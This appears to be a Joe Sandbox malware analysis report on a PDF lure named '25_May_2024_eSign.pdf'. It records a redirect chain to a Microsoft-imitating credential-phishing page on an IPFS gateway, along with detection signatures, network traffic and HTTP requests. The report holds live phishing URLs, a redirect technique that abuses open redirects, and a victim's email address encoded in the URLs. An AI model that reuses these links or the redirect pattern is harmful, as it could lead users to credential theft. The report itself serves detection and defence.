Edit tour

Windows Analysis Report
25_May_2024_eSign.pdf

Overview

General Information

Sample name:	25_May_2024_eSign.pdf
Analysis ID:	1448095
MD5:	c517e38681504b9d34d983ffb7843a6f
SHA1:	7da6a5069594538125311fd78dca5ed2fc97ddaf
SHA256:	01a0ad038da6c728c0af955c5090948b925b9e89775d51297981200f19d9dbc3
Infos:

Detection

HTMLPhisher

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Found potential malicious PDF (bad image similarity)

Multi AV Scanner detection for domain / URL

Phishing site detected (based on favicon image match)

Yara detected BlockedWebSite

Yara detected HtmlPhish10

AI detected suspicious javascript

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid 'forgot password' link found

Invalid 'sign-in options' or 'sign-up' link found

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Submit button contains javascript call

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 7040 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\25_May_2024_eSign.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6248 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6296 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1612 --field-trial-handle=1580,i,12606758722636301871,14801782710418106230,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 6464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.kooss.com/j7.php?url=https://m.exactag.com/ai.aspx?tc=d9047570bc40b07205bbd26a23a8d2e6b6b4f9&url=https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20= MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2004,i,16712865110461069709,7719260107902575291,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.1.pages.csv	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=	SlashNext: Label: Credential Stealing type: Phishing & Social Engineering
Source: https://cloudflare-ipfs.com/favicon.ico	URL Reputation: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/bg_normal.png	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/auth_number.png	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/godaddy-left.png	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/2fa_authenticator.png	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/call_2fa.png	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/logo-off-1.png	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/obufsssssssscaaatoion/	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/microsoft_logo.png/	Avira URL Cloud: Label: malware
Source: https://cloudflare-ipfs.com/cdn-cgi/images/icon-exclamation.png?1376755637	Avira URL Cloud: Label: phishing
Source: https://aea14i7zphg.wqqqqop.shop/static/media/message_think.png	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/key_workshcool.png	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/person_office.png	Avira URL Cloud: Label: malware
Source: https://aea14i7zphg.wqqqqop.shop/static/media/person_workshcool.png	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: https://cloudflare-ipfs.com/cdn-cgi/styles/cf.errors.css	Virustotal: Detection: 10%			Perma Link
Source: https://cloudflare-ipfs.com/cdn-cgi/images/icon-exclamation.png?1376755637	Virustotal: Detection: 10%			Perma Link

Phishing

AI detected phishing page

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

LLM: Score: 9 brands: Microsoft Reasons: The URL 'https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y' does not match the legitimate domain name associated with Microsoft, which is typically 'microsoft.com' or 'live.com'. The use of 'cloudflare-ipfs.com' is suspicious as it is not a known Microsoft domain. The page contains a login form, which is a common element in phishing sites. The use of social engineering techniques is evident from the attempt to mimic a legitimate Microsoft login page. DOM: 2.3.pages.csv

Phishing site detected (based on favicon image match)

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

Matcher: Template: microsoft matched with high similarity

Yara detected BlockedWebSite

Source: Yara match

File source: 1.1.pages.csv, type: HTML

Yara detected HtmlPhish10

Source: Yara match

File source: 2.3.pages.csv, type: HTML

AI detected suspicious javascript

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

LLM: Score: 8 Reasons: The code is heavily obfuscated, which is a common technique used to hide malicious intent. It contains a large number of seemingly random hexadecimal strings and variables, which makes it difficult to understand its true functionality. Additionally, the presence of a 'debugger' statement and manipulation of key events (e.g., 'keydown') suggests that it might be attempting to interfere with user input or perform actions without user consent. These characteristics are often associated with malicious scripts. DOM: 2.2.pages.csv

Phishing site detected (based on image similarity)

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

Matcher: Template: microsoft matched

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

HTTP Parser: Number of links: 0

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

HTTP Parser: Total embedded image size: 73676

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

HTTP Parser: Invalid link: reset it now.

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

HTTP Parser: Invalid link: get a new Microsoft account

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

HTTP Parser: On click: $('#work-or-shcool').hide();$('#i0281').show();

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

HTTP Parser: <input type="password" .../> found

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y#accountsreceivable@acaglobal.com	HTTP Parser: No favicon
Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y	HTTP Parser: No favicon

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

HTTP Parser: No <meta name="author".. found

Source: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y

HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:55920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:55924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:55926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:55961 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.16:55906 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:55904 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: www.kooss.com to https://maplebearrabat.com/content/cauoaeox/jihu/ywnjb3vudhnyzwnlaxzhymxlqgfjywdsb2jhbc5jb20=

Source: Joe Sandbox View	IP Address: 104.17.96.13 104.17.96.13
Source: Joe Sandbox View	IP Address: 104.21.96.107 104.21.96.107
Source: Joe Sandbox View	IP Address: 51.77.64.70 51.77.64.70
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 92.123.104.38
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27

Source: global traffic	HTTP traffic detected: GET /j7.php?url=https://m.exactag.com/ai.aspx?tc=d9047570bc40b07205bbd26a23a8d2e6b6b4f9&url=https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20= HTTP/1.1Host: www.kooss.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20= HTTP/1.1Host: maplebearrabat.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y HTTP/1.1Host: cloudflare-ipfs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://maplebearrabat.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: maplebearrabat.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/styles/cf.errors.css HTTP/1.1Host: cloudflare-ipfs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2yAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: cloudflare-ipfs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/cdn-cgi/styles/cf.errors.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cloudflare-ipfs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2yAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1Host: cloudflare-ipfs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KVmkthM6DpEzyGv&MD=29UUu6lb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/phish-bypass?atok=CT7tcRP.LUBFLZgoIYhechJ50z8EjywmGLk7DrAEPUk-1716831012-0.0.1.1-%2Fipfs%2Fbafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y HTTP/1.1Host: cloudflare-ipfs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2yAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=NckoPMHvKi0JTGMgrNlWoIZzabm5r3vIL5r6R4bzEAg-1716831013-1.0.1.1-hfNIKUgErOof2oiFLeEES6rj6Y6PeMfeiL0X0p.KnJO1Md3h4L.9JHG9nxWn3p0irR7ALVQ96W451ri4DbrKmg
Source: global traffic	HTTP traffic detected: GET /ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y HTTP/1.1Host: cloudflare-ipfs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cloudflare-ipfs.com/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2yAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=NckoPMHvKi0JTGMgrNlWoIZzabm5r3vIL5r6R4bzEAg-1716831013-1.0.1.1-hfNIKUgErOof2oiFLeEES6rj6Y6PeMfeiL0X0p.KnJO1Md3h4L.9JHG9nxWn3p0irR7ALVQ96W451ri4DbrKmg; __cf_mw_byp=CT7tcRP.LUBFLZgoIYhechJ50z8EjywmGLk7DrAEPUk-1716831012-0.0.1.1-/ipfs/bafybeiclrj2xwfwignqrmjudvrsa7bbuecqrpcfskjfc3jj7t57lq7oi2y
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.9.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/?key=pD3jjrEbn4o2CQ1 HTTP/1.1Host: pro.ip-api.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://cloudflare-ipfs.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/?key=pD3jjrEbn4o2CQ1 HTTP/1.1Host: pro.ip-api.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /obufsssssssscaaatoion/ HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/bg_normal.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/media/logo-off-1.png HTTP/1.1Host: aea14i7zphg.wqqqqop.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
